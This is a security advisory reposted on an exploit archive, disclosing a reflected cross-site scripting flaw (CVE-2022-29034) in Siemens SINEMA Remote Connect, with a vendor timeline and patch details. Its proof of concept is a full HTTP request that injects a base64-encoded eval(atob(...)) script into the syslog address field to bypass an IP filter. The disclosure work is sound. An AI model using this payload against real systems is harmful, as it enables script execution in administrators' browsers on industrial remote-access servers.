SIEMENS-SINEMA Remote Connect 3.0.1.0-01.01.00.02 Cross Site Scripting

Authored by Steffen Robertz | Site sec-consult.com

Posted Jun 20, 2022

SIEMENS-SINEMA Remote Connect versions 3.0.1.0-01.01.00.02 and below suffer from a cross site scripting vulnerability.

tags | exploit, remote, xss
advisories | CVE-2022-29034
SHA-256 | a3bce9850f8342f5aa74a6bc3820d1c8dfe51fd338fcf68fc68e9703dfacb807 **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
SEC Consult Vulnerability Lab Security Advisory < 20220614-0 >
=======================================================================
              title: Reflected Cross Site Scripting
            product: SIEMENS-SINEMA Remote Connect
 vulnerable version: <=V3.0.1.0-01.01.00.02
      fixed version: V3.1.0
         CVE number: CVE-2022-29034
             impact: medium
           homepage: https://siemens.com
              found: 2022-03-01
                 by: S. Robertz (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Atos company
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Siemens is a technology company focused on industry, infrastructure,
transport, and healthcare.
 From more resource-efficient factories, resilient supply chains, and smarter
buildings and grids, to cleaner and more comfortable transportation as well as
advanced healthcare, we create technology with purpose adding real value for
customers. By combining the real and the digital worlds, we empower our
customers to transform their industries and markets, helping them to transform
the everyday for billions of people."

"SINEMA Remote Connect is the management platform for remote networks. It is a
server application that enables the simple management of tunnel connections
(VPN) between headquarters, service technicians, and installed machines or
plants."


Source: https://www.siemens.com
Source:
https://new.siemens.com/global/en/products/automation/industrial-communication/industrial-remote-
communication/remote-networks/sinema-remote-connect-access-service.html


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross Site Scripting (CVE-2022-29034)
The application contains a reflected cross-site-scripting vulnerability that
can be used to execute JavaScript code in the victim's browser.


Proof of concept:
-----------------
1) Reflected Cross Site Scripting (CVE-2022-29034)
The error occurs when setting the syslog server to an illegal IP address. An
error message will pop up and will reflect the supplied IP address. However,
the popup message does not use the proper JQuery method, and thus allows to
inject JavaScript code. Note that dots can not be used in the JavaScript
payload, as they will get filtered by the IP parser that runs beforehand.
This was circumvented by supplying the JavaScript code in base64.

Following request can be used to trigger the XSS:

POST /services/syslog_client_settings HTTP/1.1
Host: $host
Cookie: sessionid=708xmctjzk39og596jp4q4r1udfom4l5;
csrftoken=sP8NzwJozla1k18xrRzsXiY0zq16IyBddtlDA1C5BC1Orf0oGcqUPr2bpUv1VGLu
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

```
Content-Length: 153
X-Requested-With: XMLHttpRequest
X-Csrftoken: U5AQMbPh3JTcdfdBkgIvaLtoitpS7jUVFJNGNGIY50KZkt5szBzX2Uxz8XTNkr4c
Referer: https://$host/services/syslog_client_settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

address=127.0.0.1.<script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))</script>&port=1234&pr
otocol=tcp&client_authentication=false&certificate=62&mode=



Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable:
* V3.0.1.0-01.01.00.02


Vendor contact timeline:
------------------------
2022-04-01: Sending advisory via productcert@siemens.com
2022-04-01: Issue tracked by Siemens under case #29947
2022-04-19: Siemens confirms vulnerability. Patch available mid May.
             Coordinated advisory release date for 2022-06-14.
2022-06-07: Asking for fixed versions & CVE numbers.
2022-06-14: Coordinated advisory release.


Solution:
---------
Version V3.1.0 fixes our identified issues as well as other security
vulnerabilities according to the vendor. The firmware can be downloaded here:
https://support.industry.siemens.com/cs/ww/en/view/109811169/

The vendor published a security advisory as well:
https://cert-portal.siemens.com/productcert/html/ssa-484086.html


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Robertz / @2022
```

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Login or Register to add favorites

packet storm

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed